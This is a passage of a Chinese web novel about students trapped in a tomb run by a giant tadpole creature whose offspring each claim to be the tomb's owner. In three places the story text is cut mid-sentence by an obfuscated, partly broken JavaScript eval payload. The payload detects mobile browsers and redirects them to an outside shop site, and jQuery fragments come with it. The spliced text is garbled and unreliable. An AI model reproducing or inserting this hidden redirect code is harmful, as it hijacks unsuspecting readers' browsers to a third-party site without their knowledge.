先前装了大逼,他只好硬着头皮接过,祈祷上面的粘液不是什么奇奇怪怪的分泌物。 “据说毒液的口水其实是纯净水,那这个也有是纯净水的可能,对吧?” 史钟惊呼道:“我以为毒液的口水是硫酸!” “关健不是这个。” 一股臭气袭来,喻连枝喉头一紧,扭头看向史钟,“我不会yue……画画,艺术细菌为零,你会吗……yue……” “先看看要画什么?”史钟建议。 喻连枝边呕边翻,册子里画的是某种工笔画,几个衣冠楚楚的人物在喝茶、谈天、呃……打电脑游戏? 语文课上学过,墓室里的石墙上会刻着达官贵族的生活画像,代表了墓主人希望死后还能延续生前的快乐生活。 所以,这位墓主人希望死后还能打穿越火线? 史钟跃跃欲试:“我小学画过黑板报,其实画画还挺有意思的。” 他捡起地上散落的工具,拿着一小块炭,在石墙上勾勒。 喻连枝殷切的目光在看到成型的火柴人后彻底熄灭。 史钟问:“怎么样?” 一直充当监工,默不作声的尸体阴森森地问:“不怎么样,你真的会画画?” 喻连枝不得不承认,自己内心想法和粽子不谋而合,表面还得据理力争。 “抽象派!现代艺术!与时俱进!我看颇有梵高的风范!令整个墓室焕然一新,仿佛置身于高雅的艺术殿堂!” 史钟不好意思地挠挠头,“也没有说得这么好啦。” 喻连枝:你知道就好。 粽子蒙着一层阴翳的眼神在画上流转,半晌道:“……骗子。” 喻连枝准备跑路,“每个人对艺术有不同的见解,这是很正常的。” 尸体的皮肤上分泌出豆大的黄色水珠,水珠中似乎有活物在挣扎。 它的轮廓逐渐扭曲,扭曲成一只硕大的两栖生物,嘴里发出属于成年男人的尖叫。 “骗子!骗子!骗子!” 喻连枝勃然小怒,“哪骗你了?!” “梵高根本不是抽象派!!!” ? 你一个粽子还怪有艺术修养嘞。 史钟一拍脑袋,“兄弟,毕加索才是抽象派!” “你怎么不早说?”喻连枝小发雷霆,高中的美术课都被充公成语文课了,他怎么分得清这两个外国画家! 怪物吼叫着冲过来,气势汹汹,仿佛要将他们一口吞掉。 吞掉还是其次,主要是一只近乎两米的长尾巴黑色生物在地上爬,是个人都会本能躲避。 喻连枝美术学得一般,但语文成绩不错,忽然福至心灵。 活师,活师就是蝌蚪啊! 原来那些粽子的头部,就是一粒放大数十倍的蝌蚪! 老天爷让某些生物长得小是有原因的,他再也不会像五岁的时候那样,抓着小蝌蚪去找妈妈了。 喻连枝跑过长长的甬道,尽头是个死胡同。 他绝望地转过身,看着巨型蝌蚪蠕动着渐渐靠近。 轮到小蝌蚪抓他了…… 就算知道是蝌蚪也无力回天,顶多是对自己吃过的麻辣牛蛙们说一声抱歉。 余光一道白影一闪而过。 一只可爱的小肉兔,巴掌大小。 小肉兔钻进墙角,喻连枝赶紧跟上,发现甬道一侧有个狗洞,柳暗花明又一村,他手脚并用钻过洞,这头是另一个墓室。 史钟茫然地跟着钻过来,紧接着,有人用石头封住了洞口。 喻连枝喜极而泣地拥抱,“太好了,是班长,我们有救了!” 涂乐意也热泪盈眶,“太好乐,你们还活着!” “太好……了?” 史钟的视线在二人间跳动,恍然大悟——这俩学霸好心机,好装! 一只柔软的手顺着喻连枝的肩膀往下滑。 “咳咳咳兄弟!”他如同触电,赶紧撒开手,后撤步,“那个,真奇怪,墓室里怎么会有小白兔,咦,哪去了?” 涂乐意收回手,笑道:“人家也不知道。不过,目前这个墓室是安全的啦。” 当然安全,伴生物被他吞了。 “难以置信,学校里竟然有个墓,墓里还有粽子!”喻连枝绕着墓室走了一圈,“这是什么?” “青蛙卵。”史钟道。 “不然还是珍珠奶茶里的珍珠吗?”喻连枝指着底下,“我说这个,一枚古钱币?” 他忍着恶心从蛙卵里捡出来,钱币外圆内方,写着“乾隆通宝”四个字。 发财了,捡到古董了! 高兴两秒,钱币在他的手上化开,变成一颗晶莹剔透的蛙卵。 “卧槽!”喻连枝猛得甩手,“鸡鸣灯灭不摸金,缺氧了!出幻觉了!我出幻觉了!” 涂乐意静静看着他表演。 与此同时,烛火跃动,如果有人现在一动不动地凝视火焰,就可以发现其中藏着一双若隐若现的眼睛。 李教官的眼睛。 整个墓园污染领域内的灯火,全是他的眼睛。 【灼光】污染领域展开。 李灼紧密观察着大出洋相的喻连枝。 这个新生很特别。在其他同学安静等待二十四小时过去、考试结束的时候,他看似慌张,实则在找线索。 这是一种偏向学院派的方式。 而且,他从进入考场后一直没有展开自己的污染领域,【活师】不清楚他的底细,不敢轻举妄动,真是聪明。 李灼眨了眨眼,火焰闪烁。 他可是和【骨生花】赌了三千块,不要让他失望啊,小同学。 喻连枝并不知道自己被给予厚望,梗着脖子吸气,“我们。快。离开。” 史钟和涂乐意点点头,“好,去哪?” “总之先出去。” 推开门,前方是一道石券,券额上还可见鲜艳的红绿色彩绘壁画,券下有一道木门,里面显然还有个厅室。 这边尚且安全,没有粽子。 喻连枝道:“去那边看看。” 一个小弟一个小gay,没一个靠得住。他幽幽叹气,只好鼓起勇气自己打头阵。 没走出几步,只听“啊”得一声。 脚下有一块活动的砖,一平方大小,一脚踩上去,砖块翻转,他直直掉进深不见底的地道。 涂乐意:…… 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622960|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候真的很佩服别人装傻子的演技,有什么线索不能直说吗? 涂乐意和史钟对视一眼,一个接一个,井然有序地跳了下去。 甬道很窄,仅能通一人,四壁富有弹性。 快到末端的时候,喻连枝感知到身旁划过一个凹凸不平的形状。 是个人! 这人断断续续地说:“救、救救我……” 周围一片漆黑,甚至能听到这人绝望的呼吸。 一个人!嵌在甬道里! 头皮发麻! 容不得多想,喻连枝滑出甬道,栽进地面。 旁边的灯还是声控的,迅速亮起。 他得以看清周边的环境,原来掉在一块巨大的黑色肉团上。 触感像是鱼皮。 喻连枝幽幽叹气,从肉块上滑下来。 他不仅倒霉还眼瞎,这下好了,单打独斗。 面前是一条地下暗河,一人宽,及腰深。 无处可去,唯一的出路就是暗河。 他只好卷起裤腿,哆哆嗦嗦地淌下水。 河里的水并不清澈,也不冰冷,反而有种温热凝滞之感,似乎有什么东西。 捞起来看,全是软绵绵的古钱币,质感像是蛙卵。 喻连枝脸色煞白,只能安慰自己:幻觉,都是幻觉。 走了不知道多久,又碰壁了,他伸手触碰面前的“墙”,被喷了一股腥臭的鼻息。 “你是谁?” 我靠,谁在说话?! 黑暗中,出现一双巨大的眼睛,眼珠散发着银灰的光。 喻连枝汗毛乍起,仰头猝不及防对上视线。 他一直以为蝌蚪会逐渐变成蟾蜍,完成正常的进化。没想到这居然还是一只蝌蚪,体型庞大,高达四五米,连肢体都没有长出。 人和蝌蚪的视角彻底颠倒。 呃,活师……老祖? 喻连枝慢慢往后退了一步,下意识屏住呼吸,头脑飞速运转。 “我是、我是考古学家!” 活师老祖打量着他,最终冷哼了一声,地动山摇,“放屁,也是来盗墓的吧。” 喻连枝摸了摸鼻尖,心虚道:“不算吧。” “我的墓你不准碰,去找别的。” “不好意思,我不清楚,这个墓是您的?” 第一个反应:墓主人是一只蝌蚪? 第二个反应:那他怎么玩的穿越火线?! “当然。” 渺小的人类卑微低垂着头,恭敬地对着自己说话,活师老祖被取悦了,它吃力地翻转身体,露出粗长的尾巴。 一颗一颗拳头大的活师卵正从尾巴下方排进暗渠。 喻连枝瞳孔放大,抬头看去,上面是一条甬道。 就是他来时通过的那条。 他顺着甬道,落在了这个巨型蝌蚪的背上! 然后从蝌蚪屁股,绕了一个圈来到头部。 活师老祖道:“整个墓都是我供养的,食物太少,我希望多多进食。” 喻连枝茅塞顿开,甬道相当于一条输送食物的管道,食物落到活师背上,直接滑进它的嘴里,为它补充产卵所需的养分。 他敛下眼睛,心脏打鼓,“好的,有几个人在墓室里,我马上将他们捉来给您享用,所以能不能先送我上去?” 活师老祖遗憾地说:“回不去的,这里是个死胡同,我卡住了,你卡住了。” 喻连枝:“那怎么办?” “不怎么办。我太饿了,什么都会吃。”活师老祖道。 “……”不是吧? 果然,活师老祖的蝌蚪脸上扯出一个狡诈的笑,“我要吃了你。” 8. 第八章 喻连枝不清楚蝌蚪的进食方式,他往回奔跑,活师老祖被卡在洞道内,只要跑到他的尾部位置,就能保命。 世界上没有人能啃食自己的屁股! 他跑回开头位置,颓丧地坐在一块石头上,拿出手机。 活师老祖无能狂怒。 手机竟然没有进水,喻连枝尝试向外发出讯息,可惜这里没有信号,连报警电话都拨不出去。 他一遍遍地翻微信记录,眼眶湿润,给陈女士和喻先生发了消息:“老妈老爸,永别了,如果有转世,换我来做你们的爸妈。” 信息没有发出去。 他自暴自弃,随便点开了一个,点到了【灾厄】。 这几天太忙了,没发新消息,【灾厄】也没回。 喻连枝想了想,用衣袖擦去眼泪:“好兄弟,永别了,我走了。” 咻——发出去了。 他连忙切回爸妈的聊天框,信息前方还在转圈圈,这是怎么回事? 【灾厄】:去哪? 喻连枝喜出望外,道:“报警!快报告学校!活师园紧急遇难!” 【灾厄】:细说。 还细说? 【帘子】:情况紧急,有生命危险,出去再说! 【灾厄】:已阅。 他好像觉得自己在玩梗,喻连枝收起手机,抱着腿,忽然有了一个更恐怖的想法——刚才的信息会不会只是幻觉! 河里密密麻麻的“古钱币”流淌而过,乍一看真像条金河。活师老祖源源不断地产卵,给这条河注入新的财富……等等。 这些“古钱币”通往哪里? 所以一定有其他的路! 与其坐以待毙,不如主动出击,横竖都是贱命一条。他深呼吸,憋着气下水了。 蛙卵在脸上碰撞,调皮地剐蹭眼球。 喻连枝睁着眼睛,感受水的流动。 找到了。 石缝间暗藏洞口。 拨开水草,洞口对于一个男性来说有点狭窄,他把肺里的空气排出,竭力挤压内脏,才把头和躯干挤了过去。 还好水不深,把头扬起就能露出水面,呼吸到空气。 “糟了。” 喻连枝使劲摁住两边的石头借力,自己还是纹丝不动,臀部死死卡住。 男子汉,大辟谷,腿长腰细男模组。 翘屁嫩男.喻连枝眼泪哗啦啦,两边的胯骨也被磨破了,水里弥漫血腥味。 此时,几具尸体颤颤巍巍地走来,戴着安全帽,像是工人。 其中一个工人慢慢转过头,面孔毫无血色,黏液混杂着红红黄黄的组织液覆盖在脸上。 喻连枝如今心理承受阈值不断拔高,恶心了一瞬,随即破罐子破摔。 “兄弟们,拉我一把。” 工人问:“你是谁?” 他原以为这些粽子没有意识,没想到这么配合。 “我是新来的。” 工人呆滞地盯着他,像在思考,“你不是,你是盗墓贼。” “我真是,铁民,身份做好。” 工人不理会他,转身开始做工,修筑墓室的墙壁。 喻连枝大言不惭,“好吧,骗你的。反正我也快死了,交个朋友,你是哪里人?” 工人站起来:“我是边际省戳子县人。” 边际省……离南曲省有十万八千里,是个贫困地区。 “撒拉哈!”喻连枝垂眸,疯狂回忆,“的斯卡哈嘛嘛呢啦!” 翻译过来就是:我的朋友,愿神灵保佑! 他之所以会说边际省的方言,是因为那里是喻先生的工作地,以前寒暑假会坐飞机去玩。 工人叽里呱啦回了一句,喻连枝没听懂,只好频频点头说“撒拉哈撒拉哈”。 工人把他从洞里拉出来,说:“老乡见老乡,两眼泪汪汪!” 喻连枝确实泪汪汪,摸着自己的屁股,感觉肉都被剜去一大块。 工人说:“你跟着我们干吧,修墓,一天八十。” “压榨劳动力啊,活师老祖真不是人。” 工人把砖头放到他手上。 喻连枝急中生智,“我刚才和墓主人谈了,他需要我们出去运输物资,一天一百。” “去哪?” “去墓外面。” “好啊!”工人显得很开心,脸上融化的皮肉簌簌下落。 几个“哥俩好”并排走出墓室,迎面撞上一只眼熟的蝌蚪精。 它像壁虎一样吸在墙壁上,倾斜着俯视他们。 就是之前让喻连枝刻画像石然后破防变异的那只。 蝌蚪精阴测测地说:“找到你了……” 喻连枝后退两步,工人粽子把他拉回来排排站,齐声恭敬道:“墓主人。” ? 你是墓主人,那活师老祖是谁? — “都是你的错!” “我?!” 史钟举起手投降,表示无辜,“班长,我发誓没有撞你!” 【兔儿神】污染领域展开。 涂乐意顶着一颗恐怖的兔头,神色扭曲,“那我们为什么跟丢了?” 甬道里有分叉,他们靠得太近,主要是史钟更重更圆润,下落时狠狠撞了他一下。 两人就像偏离轨道的小球,咕噜噜掉到了另一个墓室。 整个墓室爬满了近一米长的蝌蚪,这些东西粘在地面上、墙壁上、墓顶上,几乎没有能落脚的位置。 正找不到喻连枝的涂乐意气急败坏,直接把这些伴生物全吞了。 史钟回忆了一番,好像确实感觉踹到了什么,脸色猛得红了。 “抱歉,班长。” 他说着,Duang得一声变成了一坨巨型史莱姆,怯怯地捏自己解压。 涂乐意脸色阴沉,“算了,把伴生物放出去找。” “嗯。”史钟分裂出小块的史莱姆黏液球,这些蹦跳的果冻分散开,得益于他们都凝胶质地,可以轻松从狭小的缝隙钻过。 涂乐意指挥着小肉兔离开,道:“前几年,直接吞噬伴生物、甚至污染物本身就能得分,在考试中极易形成混乱争抢的局面,但这一次,吞再多伴生物很可能也是零分。” 史钟偷吃蝌蚪的嘴停止咀嚼。 涂乐意:“现在教材更新了,不再崇尚暴力解决的方式,强调‘收容’。” “收容?” “就是找到污染物主体,进行沟通,判断他是否有人性。尚有人性的污染物会被学院录取,失去人性的污染物会被丢去禁闭室分解,处于中间值则会关在园区里观察,活师就处于中间值,所以安置在活师园。” 史钟点点头,“我知道这些。” 涂乐意诧异地看了他一眼,这小胖子看着呆呆傻傻,消息意外的灵通。 难不成院里有人? “你发现了吗?连理枝用的就是最科学的‘收容’方式,他故意将自己放在普通人的位置寻找线索。” “是啊,我认他做大哥了。” 涂乐意眯起眼睛感叹,“恐怖如斯,他到底藏着什么秘密?” 时间已过去三个小时,距离考试结束还有十九个小时。 两人百无聊赖地坐在棺材板上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622961|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【活师】的意识混乱,整个污染领域错综复杂,许多地方如同梦境般荒诞。 “还是没找到。”涂乐意幽幽叹气,“又碰上死胡同了。” “我也没找到。” “小涂班长,原来你在这里。”墓室门口出现一个身影。 涂乐意侧头看,是【鹰隼人】,就是在竞选那天被自己蛊惑,然后gay了两天的蠢货。 【鹰隼人】原名周瑛,脖子上顶着一颗鹰头,背后有一对黑羽翅膀,嘴利如弯钩。 他步步逼近,绷紧咬肌,“我找你找的好辛苦啊……” 涂乐意骤然抬头,眼眶里血泪汩汩流淌。 周瑛早有准备,闭上眼睛,“想阴我?怎么,被老子追了两天,还爽不够?” 涂乐意不愿纠缠,和史钟打手势,示意换地方。 走了两步,突然被人扑倒在地上,眼睛挨了一拳头。 周瑛紧闭双眼,五指上沾着血液,另一只手掐住涂乐意的脖子。 “我可不是会被你随意蛊惑的人,你必须对自己的行为付出代价。” “蠢货。” 涂乐意翻身而上,拳头如雨点落在对方脸上。 两人扭打成一团,难舍难分。 史钟在一旁跳脚,“你们不要再打啦!你们不要再打啦!” — “你们有没有听到什么声音?”喻连枝问。 工人粽子说:“我耳朵烂了。” 他抓了抓,顺手把腐烂的耳朵拽掉了。 “yue——”喻连枝一时不知道是捂嘴还是捂眼,“下回麻烦提前说一声。” “他不是墓主!我才是!” 另一个声音姗姗来迟,郁连枝扭头,只看见一坨怒气冲冲的烂肉。 这玩意儿已经没了人形,身上的肉是人肉和活师的结合,只看一眼就令人作呕。 他的眼珠淌在地面上,恶狠狠盯着蝌蚪精,“你竟敢冒充伟大的墓主人?!我才是!我永远是!!你这个上不得台面的盗墓贼,我要杀了你!!!” 活师老祖、蝌蚪精、一坨烂肉都自称为墓主。 嚯,玩三国杀啊。 蝌蚪精尾巴左右摇摆,道:“我有画册,可以证明我的身份。” 一坨烂肉冷笑,它的嘴巴在眼睛上面,反问,“哦?画册在哪里呢?” 喻连枝不着痕迹地摸了摸裤兜。 里面的画册因为湿水挤压成了一团。 “在盗墓贼手上。”蝌蚪精看着他,“小偷!盗墓贼!画册被你偷走了!” 喻连枝往后一撤,头摇得像拨浪鼓,“我不是我没有我不知道。” “就是你!把东西还给我!” 喻连枝吓得躲在工人后面,还在嘴硬,“自己拿不出证据就污蔑人!我还说我是墓主呢。” “找死!” 蝌蚪精扭曲着庞大的身躯爬向他,半路上被袭击了。 只见一坨烂肉吼叫着朝着蝌蚪精飞扑过去,两个怪物扭打在一块。 具体内容喻连枝没敢看,总之就是东一块西一块,看一眼都能把隔夜饭吐出来,绝对的精神污染。 他紧紧闭着眼睛,心里默背《将进酒》、《木兰辞》、《阿房宫赋》。 还好才过了一个暑假,记忆犹在。 等他背到“覆压三百余里,隔离天日”时,墓室里安静下来。 蝌蚪精战败,它抽搐着,身体里黑色脓液流出。 几秒钟后彻底不动了,死后坍缩成了无数颗聚成一团的蛙卵。 “它还真是……”喻连枝感叹道,“越活越年轻。” 9. 第九章 一坨烂肉的状态也一般,鼻子被捶进了眼睛里。 “画册在你手上?跟我来。” 喻连枝拍拍裤兜,“没有啊,蝌蚪的话你都信。” 刚才趁这俩货打架,他把烂纸片神不知鬼不觉地扔水里了。 一坨烂肉从眼球里掏出鼻子,顺带又从鼻子里挖出几颗牙齿,“总之,我现在是唯一的墓主,你得听我的。” “谁是墓主?”工人站出来,“你不是。” 喻连枝刚夸赞这哥们对蝌蚪精忠心耿耿,就听见下一句。 工人信誓旦旦,“墓主人来自边际省,你没有那儿的口音,所以……” “所以?” “我才是墓主人。” ?? 三国杀成狼人杀了,哥们你也跳预言家啊? 工人扭头问他,“你说对吧,老乡?” 喻连枝给两位狼人都发了金水,“我看大家都是好人,要不再打一架?” 工人道:“我不会和他打架的,有损我墓主人的形象。” 喻连枝恭维道:“你挺高贵。” 工人继续举证,“墓主人墓主人,肯定是人。明眼人都能看出来,我才是人形。” “有……吗?” 生活索然无味,粽子cos人类。 不过相比较下,这么说也对。工人虽然皮肤被泡涨,如同带水的腐竹,但他的形状确实还属于“人”的范畴。 反观一坨烂肉……就是字面意思。 一坨烂肉没再说话,他迷茫地捡起地上散落的东西粘回身上,似乎真被说服了。 工人挺直腰板,指挥着所有粽子、包括喻连枝在内,前往墓口搬运物资。 几人排着队出了厅室,七弯八拐地上了一个台阶,不知道走了多久,台阶持续向上,远远没有尽头。 喻连枝腰酸腿疼,像爬了个泰山。机械运动的腿缓缓停下,如千斤重,实在是抬不动了。 工人幽幽道:“老乡,你怎么了?” “还有多久才到?” “不知道。”它顿了顿,回忆道:“在我的记忆中,台阶是无穷无尽的,只有闻到饭香才能走完。” 饭香?饿了吧这是。 工人说:“继续走。” 喻连枝一边爬一边问:“墓主……你年纪轻轻,为什么要给自己修墓?” 工人支支吾吾,本就崎岖坎坷的眉心肉深深绞在一起,他搜肠刮肚也想不起来原因。 “我知道。”一坨烂肉从后面挤上来,自信地说,“因为我是真正的墓主。” 开始了开始了,角色纷争继续上演! 喻连枝假装懊悔地直扇嘴巴,实际上给紧张的局势添了一把火,“什么意思啊,难到你才……不、不可能吧!” 工人道:“我只知道我为了赚钱四处奔波,在工地上搬砖,干粗活累活,其他的想不起来了。” “原来如此。”喻连枝点点头,“有请反方一辩作答。” 一坨烂肉桀桀怪笑,“其实是因为我得了绝症。趁着还没死,我想为自己修个墓。生前过得那么苦,死后应该享福。” “各执一词,都很可信啊……”喻连枝纠结地摸下巴,继续拱火,“还好蝌蚪精死了,原来只有把对方打死自己才能当墓主啊。” 话音刚落,烂肉和工人燃点堪比白磷,又撕打在一起。 工人狠狠扯下腐烂恶臭的肉块,烂肉用滑落至肚脐眼的嘴巴撕咬工人的真皮层。 两人的互殴看似剧烈,实则毫无攻击力,彼此轻轻一剥皮就下来了。打得正火热,工人脚一歪,两人抱着从无尽长梯滚落,爆了一地血腥装备。 其他几个工人呆呆地跟着往下走。 好机会! 喻连枝见状拔腿就往上跑,虽然不知道还有多远,但总归是有尽头的。 跑到一半,他大喘着气蹲下,台阶两侧隔很远才有一道光,借着光,他看到地上有一只血淋淋的断手。 “卧槽!” 喻连枝起身继续跑,大腿机械摆动,兴许是体力耗尽的缘故,越发觉得身体沉重,像是背着沉甸甸的东西。 又不知走了多久,一路上肉是肉血是血,他看着膝盖直打颤,还得小心翼翼避开。 八百米,一千米,还是两千米了? 他筋疲力尽,可是阶梯仍然无穷无尽地摆在眼前,向上延伸进黑暗。 每当他以为前方的亮光是出口,提着一股气赶到时,却发现还是一盏孤零零的灯。 烛火冷漠地燃烧,意志力化为飞烟。 为什么永远是上坡路? 为什么永远也无法抵达目的地? 为什么?! 喻连枝靠着墙坐下,呼吸沉重又无力,掩面不解地自问,“救命,到底哪里才是出口啊……” 有人回答。 “这个世界上根本没有出口。” 一阵香味袭来,很难移述说是什么菜的味道,它很像你站在旧小区的楼下,饭点时从布满油渍的小窗口飘出的味道,百家饭的香味。 喻连枝抬起头,震惊到失语。 一坨烂肉的五官都被摔落在台阶上,现在只剩下一点筋连着肉。它的肚子上横插着一只手臂,是工人的手,而这双手上端着饭。 很显然,香味是假的,因为饭碗里盛的是发霉长毛的大米饭,上面铺盖着一层厚厚的蛙卵。 一坨烂肉说:“现在我是墓主人了。” 眼前的阶梯忽然都消失了,喻连枝望向身后走过的黑漆幽深的路,又看向工人断手的茧子,想到了什么。 他八岁时住在一个老旧小区,当时楼上装修。新房装修时要雇佣工人,其中有一类叫做“扛楼工”。 扛楼搬运工纯靠卖力气赚钱,需要把几万斤的水泥从一楼扛到楼上,从清晨鸟儿的第一声啼叫,到夜晚家家户户穿出烟火气,他们循环往复背着重物爬楼梯。 这条路没有尽头。 喻连枝格外平静地看向烂肉,一寸一寸地打量。 先前从不敢看清的恶心画面,如今能坦然面对了。 他明白了。 “你们都不是墓主人。”喻连枝深呼吸。 他要杀了一坨烂肉。 “我才是墓主人。”他道。 一坨烂肉手里的碗摔在地上,“就凭你这个盗墓者,也敢肖想。” 喻连枝道:“这个墓里是凭实力说话的,你不是我的对手。” “不!你放屁!我杀了你!” 说着,一坨烂肉烂肉朝着郁连枝扑了过去,它仅剩的五官是一张嘴巴,黏在喻连枝的手臂上便张开便咬了下去。 瞬间皮开肉绽。 喻连枝忍着痛,一个过肩摔,将烂肉从自己身上甩了下去。 他从旁边随手捞了块石头,一下一下砸在烂肉堆上,生怕它不死,又抱了许多块巨石压在上面。 烂肉黏在地上,像一滩手打牛丸。 它奋力地蠕动,却毫无办法,“我……不……这是我的墓……我的……” 话未说完,筋肉剧烈抽搐了两下,失去了活性,如同蝌蚪精一样,化为一堆蛙卵。 喻连枝麻木地直起身,擦去脸上的脏东西,有些不敢相信自己亲手打死了一个粽子。 刚才只耳鸣轰响,眼前像是覆盖着雪花,看不清画面,回过神来时,只看到了满地的蛙卵。 他吓得赶紧跑了,生怕粽子复活向他寻仇。 — “【活师】的污染领域在消散,你感觉到了吗?”李灼皱着眉,犹豫要不要和会长汇报这个消息。 活师园外面,还有另一个陪他蹲着。 这人叫花亦骨,是花添错的哥哥,两人长得非常相像。 不过花亦骨瘦得吓人,皮包骨头,整个人和削尖的白骨一般锋利,他的脑后也有一条长辫,盘在脖子上,发间别着一朵红色的花,既脆弱又妩媚。 “消散?谁干的谁干的?是涂乐意把活师吞了吗?”花亦骨的眼神中闪烁着赌徒的狂热。 李灼透过所有的烛光观察全场,摇了摇头。 花亦骨皱眉,“我下个月的饭钱全压他身上了,那他在干嘛?” “……打架。” “打架?” “和【鹰隼人】打得难舍难分,你可以开另一盘,赌他俩谁赢。我推荐你还压【兔儿神】。” 花亦骨掩面哀嚎,动作幅度大得让人心悸,生怕他把自己细薄的身躯折断。 “完了完了完了,我要没钱吃饭了!”转念一想,“不对,我还有个冤种弟弟。” 李灼提醒他,“花添错刚从任务回来,受伤了,躺在校医院。” 花亦骨这个哥哥当得非常丧心病狂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622962|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭头道:“学校会给他批疗养经费吧,感谢感谢,八方来财。” “你真不是人。” “本来就不是啊。对了,【琥珀浓】压的是喻、喻什么来着?看看他表现怎么样了!” “喻连枝,他……”李灼透过火焰眨了眨眼,表情古怪。 花亦骨好奇道:“怎么了?” 李灼叹气,从武装口袋里掏出一盒火柴,抽出一根划亮。 花亦骨乐了,“你知道学生会里怎么称呼你吗?卖火柴的小男兵哈哈哈哈哈哈……” “别笑。”李灼依旧冷静。 火柴顶端小小的火焰中,依稀可见一张崩溃的人脸。 “很难描述,你自己看吧。” — 他不知道该往哪去。 只能像只无头苍蝇乱钻。 混乱间,一只雪白小肉兔可可爱爱地出现在眼前。 “这分明是祥瑞!”喻连枝欣喜万分,先前就是突然出现兔子救了自己,找到逃生出路。 他跟着小兔子,然后亲眼看见兔子两腿一蹬,跳进了一个洞里。 西方童话里,兔子洞象征梦幻与探索,说不定底下就是一个新世界。 喻连枝眼睛一闭,心一死,跟着跳了进去,滑到一半时,又听到了一道虚弱的声音,隔着肉膜传出,心彻底死了。 “救……救命……救我……” 有点耳熟。 喻连枝这回选择横起双手,卡在甬道里,“哥们,又见面了。” 眼前一片漆黑,还好看不见对方的长相,他胆子大了些,而且这人声音跟董大冬有点像,于是他脑补对面是董大冬的脸。 脑补过头了,还有几分搞笑。 “嘿嘿。” “……?”求救声戛然而止。 喻连枝压下嘴角,认真地说:“不好意思,想到了什么好笑的东西。” “救……救救我……” “救你之前,请先回答我一个问题,你是谁?” 出人意料的是,这人说:“我是……盗墓贼。” 出现了别的身份,他还以为这个墓室里所有粽子都自称主人。 “你不是墓主人?” 这人一愣,随即无奈道:“不……我只是……被惩罚的……盗墓贼。” 喻连枝初见明朗的思路又成一团乱麻,“等等等等,那你盗的是谁的墓?” “我不知道……只要是别人家……做完弥朗后……我都会挖一条地道进去……偷他们的陪葬品。” 弥朗,边际省方言,意思是祭祀。 那边的居民似乎还普遍使用墓葬,每个人都期盼自己死后有一个墓。和别的省居民一出生就背负房贷不同,他们背负的是墓贷。 喻连枝垂眸,总感觉真相近在咫尺,又远在天边。 这人哭道:“我是不是……出不去了?神明要……我在这里赎罪,一百年……一千年……就像我父亲那样得病死掉。” 他的声音很年轻,是那么悲伤,那么自责,是断断续续、想死却又无法死亡的痛吟。 唯有死亡才能解脱。 嗡—— 又来了,脑中又传来蜂鸣。 “那你想死吗?” 喻连枝的食指动了动,黑暗中,眼球弥漫上一层白色荧光。 这人抽泣着说:“我该死我该死我该死……我这种人……就应该死在暗无天日的地方……变成腐烂的泥土。” 他好绝望。 喻连枝摸索着,找到这人黏腻的脖子,略微使劲。 心里仿佛有个声音在催促—— 杀了他,杀了他,杀了他。 一分钟过去,喻连枝始终无法下手,他换了个姿势,扳住这人的肩膀,将人从肉泥中剥离出来。 尖叫划破耳膜,“你……要……做什么!” “救你。” 人皮和甬道几乎严丝合缝地长在一起,喻连枝觉得自己像在徒手剥牛肚上的肥肉。 次啦—— 次啦—— 次啦—— 一个人型被硬生生拔出来,整个甬道突然间活了过来,开始剧烈蠕动。 喻连枝死死拽住他,紧咬着后牙槽,两人一齐坠落,下面是活师老祖柔软富有弹性的皮肤。 “死不死的问题,去和未来的你讨论。” 10. 第十章 他扛着半死不活的“人”,绕了一圈重新来到活师老祖面前。 “你的食物,我带来了。” 借着灯光可以看清,这人并没有长着和董大冬一样的傻脸,反而两颊凹陷,瘦削的脸上写满疲惫与绝望。 活师老祖张开巨大的双目,又懒洋洋地闭上,不愿说话。 喻连枝叉着腰,故意冷笑,“你不是饿吗,快张嘴,我把他扔进去。” 男子浑身是血,哆嗦得如同一只落水鹌鹑,“这是……什么……东西,怪、怪物……” “它是……”你。 喻连枝说不出口,太残酷了。 “我是死亡的你。”活师老祖睁开那双毫无情绪的眼睛。 男子吓得坐到地上,连连摇头。 他每时每刻都在幻想自己死后的样子,不再被疾病折磨,不再贫苦缠身。但血淋淋的现实摆在眼前,死后的他是一只丑陋的巨型蝌蚪,被卡在永无天日的洞道之中。 活师老祖凝视着喻连枝,“你什么时候知道的。” “就在刚才。我原先并不明白,但如果从精神分裂的角度看,一切都说得通了。”他的语速很快,内容却很清晰,“墓室里每只粽子都说自己是墓主,它们确实没说错,因为它们本来就是同一个人。” 活师老祖承认了,“没错,它们都是我生出来的。” “蝌蚪精喜欢美术和穿越火线;工人来自边际省,在外地当扛楼工;一坨烂肉得了绝症,命不久矣,所以开始建造自己的墓;这家伙,”他指了指匍匐在地上的男子,“为了有钱修自己的墓,去盗了别人的墓;至于你……盗墓的时候意外死了,对吗?” 